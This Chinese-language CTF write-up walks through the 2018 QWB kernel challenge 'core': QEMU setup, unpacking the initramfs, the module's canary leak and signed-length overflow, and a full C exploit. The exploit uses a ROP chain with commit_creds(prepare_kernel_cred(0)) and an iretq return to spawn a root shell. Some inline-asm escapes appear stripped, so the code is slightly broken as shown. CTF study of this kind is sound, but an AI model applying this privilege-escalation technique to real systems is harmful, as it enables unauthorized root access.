0x01 前言
这是2018年强网杯的第一道内核pwn core,当时是没做出来,赛后看了一些大佬的博客总算是复现出来了。kernel pwn与用户态的pwn还是有不少区别,刚开始面对这道题,感觉上是无从下手的,比如,如何启动内核、编译exp,这篇文章会着重对这些套路逐一说明。
题目链接:https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg 密码:ldiy
0x02 环境搭建
安装qemu
$ apt install qemu qemu-system
也可以编译安装qemu,看这篇:玩转qemu之环境搭建
qemu启动命令
-m megs set virtual RAM size to megs MB [default=128]
-kernel bzImage use ‘bzImage’ as kernel image
-initrd file use ‘file’ as initial ram disk
-append cmdline use ‘cmdline’ as kernel command line
-s shorthand for -gdb tcp::1234
编辑start.sh
qemu-system-x86_64
-m 128M
-kernel ./bzImage
-initrd ./core.cpio
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
-s
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-nographic
这样就启动完成
0x03 干掉定时power down
内核跑一段时间后就会自动power down
解包core.cpio干掉定时死机
$ mkdir core
$ mv core.cpio ./core/core.cpio.gz
$ cd core
$ gunzip core.cpio.gz
$ cpio -idmv < core.cpio
$ rm -rf core.cpio
$ nano init
删掉这句
重新打包
$ ./gen_cpio.sh core.cpio
$ mv core.cpio ../core.cpio
$ cd ..
$ rm -rf core
再次启动内核,定时power down已经没有了
0x04 题目分析
/tmp目录下有一个符号文件kallsyms,可以leak出内核信息,找到commit_creds和prepare_kernel_cred的地址
prepare_kernel_cred 0xffffffff8c09cce0
commit_creds 0xffffffff8c09c8e0
按照kernel pwn的套路,这个core.ko就是存在漏洞的模块
core.ko开了canary和nx,内核开了kaslr没有开smep
在解包文件里找到core.ko,主要有core_ioctl、core_read、core_write、core_release、core_copy_func几个操作
ioctl函数,根据传入命令a2,分别调用函数read、wirte、copy_func
copy_func函数,当传入参数a1为负数会产生溢出
read函数,配合print操作修改偏移off,导致内核栈上的信息泄露,leak出canary
write函数,将rop_chain拷贝到bss段,然后可以再调用copy_func拷贝到内核栈上
0x05 exploit
构造rop修改cred结构root提权
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A
#define u64 unsigned long long
unsigned long user_cs, user_ss, user_rflags;
u64 commit_creds_addr = 0;
u64 prepare_kernel_cred_addr = 0;
static void save_state(){
asm(
"movq %%cs, %0n"
"movq %%ss, %1n"
"pushfqn"
"popq %2n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void set_uid()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
void win()
{
system("/bin/sh");
}
int main(int argc,char **argv)
{
printf("prepare_kernel_cred: ", &prepare_kernel_cred_addr);
scanf("%llx", &prepare_kernel_cred_addr);
printf("commit_creds: ", &commit_creds_addr);
scanf("%llx", &commit_creds_addr);
char s[100];
char* leak = (char*)malloc(1024);
int fd = open("/proc/core",O_RDWR);
/*----------------------info leak------------------------*/
ioctl(fd,COMMAND_PRINT,0x40);
ioctl(fd,COMMAND_READ,leak);
u64 canary = ((u64*)leak)[0];
u64 ret_addr = ((u64*)leak)[2];
/*----------------------rop chain------------------------*/
u64 iret_addr = prepare_kernel_cred_addr - 311838;
save_state();
u64 rop_chain[]={
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
canary,
0x9090909090909090,
&set_uid,
ret_addr-0xc5,
&s-0x100,
iret_addr,
&win,
user_cs,
user_rflags,
&s-0x100,
user_ss
};
write(fd,rop_chain,1024);
ioctl(fd,COMMAND_COPY,0xff00000000000100);
return 0;
}
编译exp,拷贝到/tmp目录
$ gcc -Os -static exp.c -lutil -o exp
重新打包cpio
$ find . | cpio -o -H newc | gzip > ../core.cpio
启动内核,因为开了kaslr,需要重新确定prepare_kernel_cred、commit_creds地址
root~